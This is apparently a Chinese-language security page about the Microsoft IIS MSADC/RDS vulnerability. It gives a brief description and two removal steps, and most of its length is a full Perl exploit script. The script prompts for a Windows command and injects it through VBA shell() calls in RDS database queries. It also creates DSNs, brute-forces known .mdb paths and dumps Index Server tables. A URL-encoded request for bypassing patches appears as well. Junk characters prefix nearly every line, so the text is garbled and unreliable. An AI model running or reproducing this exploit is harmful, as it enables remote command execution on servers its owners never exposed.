IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
hKZ`DB4 L}jF#*Q% 涉及程序：
vG<pc_ak Microsoft NT server
?9gTk
\s?R %V(N U_o 描述：
uJam
$V 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
mhi9 0J c pjHRV[`AP 详细：
D_n }p8blT 如果你没有时间读详细内容的话，就删除:
ZAX0n!db3 c:\Program Files\Common Files\System\Msadc\msadcs.dll
;6 4mf` 有关的安全问题就没有了。
4]aiT8 )) 0 oj{e9h 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
:9F''f$AP :IVk_[s 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
8hK P 关于利用ODBC远程漏洞的描述，请参看:
w*u{;v# 8 ih;#I=q http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pPyvR;NJ Q-8'?S 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
mYh5#E41J http://www.microsoft.com/security/bulletins/MS99-025faq.asp %`?;V;{= ?)'
2l6 这里不再论述。
9XoQO 9*Q p>:ef<.i 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
G =Hf&l t `Y!"l /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
8@ %mnyQ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Zv| p>q`R2 09 39i_ hH1lgc #将下面这段保存为txt文件，然后: "perl -x 文件名"
F?8BS*r_ @ 2!C^}d3F #!perl
.;HIEj zq #
Cl6m$YUt # MSADC/RDS 'usage' (aka exploit) script
B+Y5b5+wOQ #
Z%+BWS3YqY # by rain.forest.puppy
C1T= O #
7 Y32p' # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
1 @% B? # beta test and find errors!
BeI;#m0 N~):c2Kp<9 use Socket; use Getopt::Std;
OpK. Lsd0y getopts("e:vd:h:XR", \%args);
8wII{FHX +:> J Z$
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
kYxl1n v rps(Jos _~ if (!defined $args{h} && !defined $args{R}) {
yOWOU`y? print qq~
=9pw uH Usage: msadc.pl -h <host> { -d <delay> -X -v }
Pknc[h}, -h <host> = host you want to scan (ip or domain)
|As2"1_f -d <seconds> = delay between calls, default 1 second
T3Frc ]6,4 -X = dump Index Server path table, if available
SL tSq G7~ -v = verbose
MCk^Tp!
-e = external dictionary file for step 5
n1*&%d'7 ?h!t$QQ!M Or a -R will resume a command session
W}XYmF*_? `l>93A ~; exit;}
-=$% { d /B'[Ur $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_)KY if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
mG831v ? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
$s- 9|Lbs` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
S~0JoCeo $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
v<;: 0 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
hojHbm m4 |e *Gz D if (!defined $args{R}){ $ret = &has_msadc;
=2
&hQd
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
g ?afX1Sg %5JW< 9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
9<|m4 . "cmd /c ";
U_}7d"<| ? $in=<STDIN>; chomp $in;
B(j 02<- $command="cmd /c " . $in ;
F#(.v7Za ch@x]@-;A3 if (defined $args{R}) {&load; exit;}
|JUe>E* >d pbCPJ9[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
y(bsCsV& &try_btcustmr;
yjEI/9_ J=UZ){c>:. print "\nStep 2: Trying to make our own DSN...";
d5DP^u &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
! FNf>z+ 5x8'K7/4. print "\nStep 3: Trying known DSNs...";
Tu ]&^[B(' &known_dsn;
],8;eq%W) `gBD_0<T7 print "\nStep 4: Trying known .mdbs...";
%
f2<U;ff &known_mdb;
iQt!PMF. b5A Gk if (defined $args{e}){
2B7h9P.N B print "\nStep 5: Trying dictionary of DSN names...";
&*B>P >x &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
u8Y~_)\MA '#v71 , print "Sorry Charley...maybe next time?\n";
K7IyCcdB exit;
Kb}MF9?:e C"w,('~@kW ##############################################################################
GDF{Lf)/v N B E pM sub sendraw { # ripped and modded from whisker
$ye^uu;Z sleep($delay); # it's a DoS on the server! At least on mine...
c~ P)4(udT my ($pstr)=@_;
W_^> M Lq socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
o2 DtCU-A die("Socket problems\n");
jFtg.SD if(connect(S,pack "SnA4x8",2,80,$target)){
z@ zD . select(S); $|=1;
<^xfcYx\ print $pstr; my @in=<S>;
L 5+J
^ select(STDOUT); close(S);
U.: sK* return @in;
A j, ]n>{ } else { die("Can't connect...\n"); }}
mc?';dEG a`#S|'oatC ##############################################################################
0pD
W _ +%P t_ sub make_header { # make the HTTP request
Vo%Yf9C my $msadc=<<EOT
*|mz_cKu POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
kLJlS,nh\r User-Agent: ACTIVEDATA
wG+=}1X Host: $ip
TMK'(6 dH Content-Length: $clen
yI8 SQ$w0y Connection: Keep-Alive
J' W}7r n!a<:]b< ADCClientVersion:01.06
E *B Sfn&i Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
W9dYljnZ8i [FGgkd} --!ADM!ROX!YOUR!WORLD!
Y;} 2'" Content-Type: application/x-varg
q0Xoj__c!A Content-Length: $reqlen
_z q)0\ c4\C[$ EOT
MU|{g
5/
) ; $msadc=~s/\n/\r\n/g;
Ls]@icH0 return $msadc;}
?0{yq>fTu i^W Ir h3a ##############################################################################
lzEb5mg W6vf=I@f sub make_req { # make the RDS request
lWbZ=x_0 my ($switch, $p1, $p2)=@_;
*8PN!^ my $req=""; my $t1, $t2, $query, $dsn;
q/$ GE," \^LWCp,C" if ($switch==1){ # this is the btcustmr.mdb query
1] j^d $query="Select * from Customers where City=" . make_shell();
> @ +# $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
a5a1'IVq $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!i^]UN }qAVN elsif ($switch==2){ # this is general make table query
|Ab{H% $query="create table AZZ (B int, C varchar(10))";
i bXe"X/_ $dsn="$p1";}
Txo@ U c5("-xB elsif ($switch==3){ # this is general exploit table query
i X%[YQ | $query="select * from AZZ where C=" . make_shell();
[EgW/ \35 $dsn="$p1";}
g5y;?fqJ U Fe(4]^ elsif ($switch==4){ # attempt to hork file info from index server
[Eu]; $query="select path from scope()";
lto qtB\s $dsn="Provider=MSIDXS;";}
#|Oj]bd(= nd:E9: elsif ($switch==5){ # bad query
4}i*cB ` $query="select";
H-(q#?: $dsn="$p1";}
P/MM
UmO ~ ].ggcl`w $t1= make_unicode($query);
sK&,):"]R $t2= make_unicode($dsn);
X"j>=DEX $req = "\x02\x00\x03\x00";
JS!*2*Wr $req.= "\x08\x00" . pack ("S1", length($t1));
nLj&Uf& $req.= "\x00\x00" . $t1 ;
@u/H8\.l $req.= "\x08\x00" . pack ("S1", length($t2));
yxwW j>c $req.= "\x00\x00" . $t2 ;
o-z &7@3Hu $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
P?
(vW&B return $req;}
k9mi5Oc *_1[[~Aw ##############################################################################
@uM EXP \0ov[T N.> sub make_shell { # this makes the shell() statement
!,Nwts>m return "'|shell(\"$command\")|'";}
R"3
M[^ v0#*X5C1' ##############################################################################
{oUAP1V ^ JO=1ivZ l sub make_unicode { # quick little function to convert to unicode
b}@(m$W my ($in)=@_; my $out;
*tc{vtuu~^ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
%v{1# ~u return $out;}
,."b3wR[w F\:(*1C ##############################################################################
C#;@y| Rw R{?vQsLk sub rdo_success { # checks for RDO return success (this is kludge)
jJBnDx sA my (@in) = @_; my $base=content_start(@in);
? gSSli[ if($in[$base]=~/multipart\/mixed/){
R^%e1 KO] return 1 if( $in[$base+10]=~/^\x09\x00/ );}
+}a C-& return 0;}
[
]^X`R FRZs[\I|iT ##############################################################################
g$FEEDF {U"^UuU] sub make_dsn { # this makes a DSN for us
Qf
xH9_ my @drives=("c","d","e","f");
d"ZU y!a print "\nMaking DSN: ";
;Lo&}U3F,! foreach $drive (@drives) {
HI`q1m. print "$drive: ";
d lD ki. my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
so+4B1$)q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
qaVy. . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;: mu} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
DG[%Nhle return 0 if $2 eq "404"; # not found/doesn't exist
# ? ?%B if($2 eq "200") {
PB9/m-\H foreach $line (@results) {
oY=1C} return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3A,rHYS } return 0;}
he$XLTmr: X} cZ xlqc ##############################################################################
}$kQs!# Puh$%; x sub verify_exists {
aY)2eY my ($page)=@_;
;AIc?C g my @results=sendraw("GET $page HTTP/1.0\n\n");
y&oNv
xG- return $results[0];}
B4ZIURciGz T6M+|"92 ##############################################################################
S1J<9xqSQ8 347eis' sub try_btcustmr {
Quzo8 u my @drives=("c","d","e","f");
p $ouh my @dirs=("winnt","winnt35","winnt351","win","windows");
lA^+Flh ,=BLnsg foreach $dir (@dirs) {
.Cz %:%9 print "$dir -> "; # fun status so you can see progress
* R d#{Io7 foreach $drive (@drives) {
2p!"p`b~ print "$drive: "; # ditto
aWy]9F &C: $reqlen=length( make_req(1,$drive,$dir) ) - 28;
z ; Q<F $reqlenlen=length( "$reqlen" );
2i7e# $clen= 206 + $reqlenlen + $reqlen;
?La Ued' @Uo6>-W F my @results=sendraw(make_header() . make_req(1,$drive,$dir));
kK i A if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
L]d-33.c!H else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
k?6z_vu fe X^~gM ##############################################################################
z@Hp,|Vy[ [/ M` sub odbc_error {
DmqSQA my (@in)=@_; my $base;
U@F)2? my $base = content_start(@in);
"T S if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
yT8=l"-[G $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+jP~s $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WYrI |^[> $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6#e::GD return $in[$base+4].$in[$base+5].$in[$base+6];}
YB,t0%vTJw print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Sw[{JB;y, print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
,Hn^z<f $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
p'94SXO_ d s:->+ o ##############################################################################
9GLb"6+PK [10zTU` sub verbose {
en*d/>OVJ my ($in)=@_;
o0It82?RN return if !$verbose;
mXzrEI print STDOUT "\n$in\n";}
]; Wx o< i,*y8 8 ##############################################################################
nBItO~l XORk!m| sub save {
51B lM% my ($p1, $p2, $p3, $p4)=@_;
>[10H8~bI/ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
*|#T8t,}n print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
G?c-79]U close OUT;}
"xJ 0 vlw %9v@0}5V ##############################################################################
<Fz~7WVd #z'uRHx%=0 sub load {
Dw<k3zaW my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+}xaQc:0| open(IN,"<rds.save") || die("Couldn't open rds.save\n");
9uk<&nqx @p=<IN>; close(IN);
\]4v _! $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
*QGm/ /b $target= inet_aton($ip) || die("inet_aton problems");
*^%*o?M~ print "Resuming to $ip ...";
zj{r^D$ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
{eS|j= if($p[1]==1) {
MrRaU x6z $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
1 .< q3q $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
_<c$)1 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
%
ps$qB' if (rdo_success(@results)){print "Success!\n";}
'x"08v$ else { print "failed\n"; verbose(odbc_error(@results));}}
!h[VUg_8 elsif ($p[1]==3){
XFVV},V
if(run_query("$p[3]")){
lj=l4 &.i print "Success!\n";} else { print "failed\n"; }}
>slm$~rv elsif ($p[1]==4){
5Por "&% if(run_query($drvst . "$p[3]")){
]b/S6oc6 print "Success!\n"; } else { print "failed\n"; }}
5N[9
vW exit;}
Z;l`YK^- [U@; \V$ ##############################################################################
_ *f v
*-0M sub create_table {
@%ip7Y]e my ($in)=@_;
PQN@Ja D $reqlen=length( make_req(2,$in,"") ) - 28;
+HT1 ct+dI $reqlenlen=length( "$reqlen" );
-_ C#wtC $clen= 206 + $reqlenlen + $reqlen;
2 {Vcb my @results=sendraw(make_header() . make_req(2,$in,""));
M$4[)6Y return 1 if rdo_success(@results);
}Z-Z| G)# my $temp= odbc_error(@results); verbose($temp);
7CXW#H return 1 if $temp=~/Table 'AZZ' already exists/;
#|GSQJ$F)` return 0;}
j^tW
Iz 39wa|:I ##############################################################################
sZ,Y60s8a L"jY+{oLIJ sub known_dsn {
B.r4$:+jb2 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
($w@Z/; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
~Nf})U "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
66x?A0P "banner", "banners", "ads", "ADCDemo", "ADCTest");
$$APgj"|< ".^VI2T foreach $dSn (@dsns) {
_A13[Mt3 print ".";
m %;D next if (!is_access("DSN=$dSn"));
D GW+>\G if(create_table("DSN=$dSn")){
&8.NT~"Gg print "$dSn successful\n";
05yZad* if(run_query("DSN=$dSn")){
)SryD RT print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
W&(k!6<x print "Something's borked. Use verbose next time\n";}}} print "\n";}
!-`Cp3gqHr *]hBGr#6 ##############################################################################
7 >iU1zy m 7EcnQ f sub is_access {
E%oY7.~- my ($in)=@_;
6 DG @?O $reqlen=length( make_req(5,$in,"") ) - 28;
p' 7*6bj1 $reqlenlen=length( "$reqlen" );
e:H26 SW $clen= 206 + $reqlenlen + $reqlen;
bXUy9 -L my @results=sendraw(make_header() . make_req(5,$in,""));
p G1WXbqW my $temp= odbc_error(@results);
_Z5Mw+=19 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
\`V;z~@iA return 0;}
# m ize H ]4Hj ##############################################################################
KL$bqgc(p3 ^7z u< lX sub run_query {
1I@8A>2^OX my ($in)=@_;
['8!qr $reqlen=length( make_req(3,$in,"") ) - 28;
_@S`5;4x $reqlenlen=length( "$reqlen" );
|@NiW\O $clen= 206 + $reqlenlen + $reqlen;
ljl^ GFo my @results=sendraw(make_header() . make_req(3,$in,""));
@36u8pE return 1 if rdo_success(@results);
z'T) =ycT my $temp= odbc_error(@results); verbose($temp);
Zo1,1O return 0;}
,h"- T\~x.aH`^ ##############################################################################
bR@p<;G| =X.LA%Sf=u sub known_mdb {
Z{&cuo.@<] my @drives=("c","d","e","f","g");
[Nn` l, my @dirs=("winnt","winnt35","winnt351","win","windows");
X7k.zlH7T my $dir, $drive, $mdb;
@(r /dZc my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
N?Lb _ _mF ?m # this is sparse, because I don't know of many
BIu K @$ my @sysmdbs=( "\\catroot\\icatalog.mdb",
\%UkSO\nO3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
V#VN %{ "\\system32\\certmdb.mdb",
87hq{tTs] "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
&0f5:M{P vfVj=DYj my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
9z6XF]A "\\cfusion\\cfapps\\forums\\forums_.mdb",
y;/VB,4V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
dO a%9[ "\\cfusion\\cfapps\\security\\realm_.mdb",
jKt7M>P "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Eke5Nb "\\cfusion\\database\\cfexamples.mdb",
|:8bNm5 [ "\\cfusion\\database\\cfsnippets.mdb",
2-Y<4'> "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
;b-XWK= "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
A}eOF u`
"\\cfusion\\brighttiger\\database\\cleam.mdb",
mI 74x3 [ "\\cfusion\\database\\smpolicy.mdb",
SlsdqP
9 "\\cfusion\\database\cypress.mdb",
ou dxm[/U "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
lNSLs"x ^ "\\website\\cgi-win\\dbsample.mdb",
,VO2a mI "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
8WnwQ%;m? "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
L3CP`cx ); #these are just
ZP{*.]Qu foreach $drive (@drives) {
~"A+ G4jl foreach $dir (@dirs){
`OSN\"\ad foreach $mdb (@sysmdbs) {
$ X q!L print ".";
1GzAG;UUo6 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
y5!KX AQ% print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
/ m=HG^! if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
x7O-Y~[2 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
UX7t`l2R } else { print "Something's borked. Use verbose next time\n"; }}}}}
|1 j["u1 F$)[kP,wtO foreach $drive (@drives) {
| B i! foreach $mdb (@mdbs) {
G^ :C+/) print ".";
l\i)$=d&g if(create_table($drv . $drive . $dir . $mdb)){
(+0v<uR^D print "\n" . $drive . $dir . $mdb . " successful\n";
>y"+ -7V) if(run_query($drv . $drive . $dir . $mdb)){
=>-Rnc@ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Mo^ od< } else { print "Something's borked. Use verbose next time\n"; }}}}
-B +4+&{T }
I_]^ .o1q ^0Mt*e{q ##############################################################################
]q4rlT.i 50 X([hIr sub hork_idx {
@;"|@!l| print "\nAttempting to dump Index Server tables...\n";
8i2n; LAz print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9H]{g*kL $reqlen=length( make_req(4,"","") ) - 28;
7
qS""f 7 $reqlenlen=length( "$reqlen" );
_bNzXF $clen= 206 + $reqlenlen + $reqlen;
7Op>i,HZk\ my @results=sendraw2(make_header() . make_req(4,"",""));
>7 ="8 if (rdo_success(@results)){
CB ^U6ZS my $max=@results; my $c; my %d;
@{2 5xTt for($c=19; $c<$max; $c++){
0)gdB'9V_ $results[$c]=~s/\x00//g;
\ kZ? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
|:gf lseE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ff^=Ruf$ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
W)bLSL]`E $d{"$1$2"}="";}
ueUuJxq) foreach $c (keys %d){ print "$c\n"; }
7j-4TY~ } else {print "Index server doesn't seem to be installed.\n"; }}
{tW f ^~etm ##############################################################################
')cMiX\v 9iQq.$A . sub dsn_dict {
F%RRd/ ' open(IN, "<$args{e}") || die("Can't open external dictionary\n");
|!4K!_y while(<IN>){
1eF3 ` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
.6Pw|xu`Pw next if (!is_access("DSN=$dSn"));
d$1@4r if(create_table("DSN=$dSn")){
, 5h)x"s print "$dSn successful\n";
I`!<9OTBj if(run_query("DSN=$dSn")){
DW[N|-L print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Vh4X%b$TV print "Something's borked. Use verbose next time\n";}}}
BI%$c~wS print "\n"; close(IN);}
H:V2[y 8\ *_d7 E ##############################################################################
8]9%*2"! ;>Ib^ov sub sendraw2 { # ripped and modded from whisker
@J/K-.r sleep($delay); # it's a DoS on the server! At least on mine...
koug[5T5 my ($pstr)=@_;
) AvN\sC socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
glD u2a,Q die("Socket problems\n");
3c a (i/c if(connect(S,pack "SnA4x8",2,80,$target)){
{ttysQ- print "Connected. Getting data";
[D I+~F open(OUT,">raw.out"); my @in;
?82x dp g select(S); $|=1; print $pstr;
>G25m'&,7 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
= %TWX[w close(OUT); select(STDOUT); close(S); return @in;
|Y ,b?*UF } else { die("Can't connect...\n"); }}
Hquc
o bKMy|_ ##############################################################################
Hx?;fl'G% X aMJDa|M sub content_start { # this will take in the server headers
W_"sM0
w my (@in)=@_; my $c;
g,!L$,/F for ($c=1;$c<500;$c++) {
?Lk)gO^C if($in[$c] =~/^\x0d\x0a/){
\ "P%` C if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
V2wb%;q else { return $c+1; }}}
M /"I2m
return -1;} # it should never get here actually
s Z].8. r7%I n^k ##############################################################################
"ut 39s i z7fp#>uw sub funky {
I 7{T my (@in)=@_; my $error=odbc_error(@in);
#L h;CSS if($error=~/ADO could not find the specified provider/){
*XIF)Q=<> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
kaVxT_ exit;}
iv J@=pd)B if($error=~/A Handler is required/){
|v 3T! print "\nServer has custom handler filters (they most likely are patched)\n";
v dc\R? exit;}
gCB |DY if($error=~/specified Handler has denied Access/){
x??+~$}\*- print "\nServer has custom handler filters (they most likely are patched)\n";
Sw ig;` exit;}}
B|C2l u c(xrP/yOwi ##############################################################################
Ng2twfSl$ pmyXLT sub has_msadc {
2K/4 Rf0; my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
L
[pBB my $base=content_start(@results);
mn"G_I return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
K0|FY=#2y return 0;}
2*laAB #A JDWelD ########################
3u+T~g0^ U:0m p" V^bwXr4f 解决方案：
6
ob@[ @ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
p>v$F iV2N 2、移除web 目录: /msadc
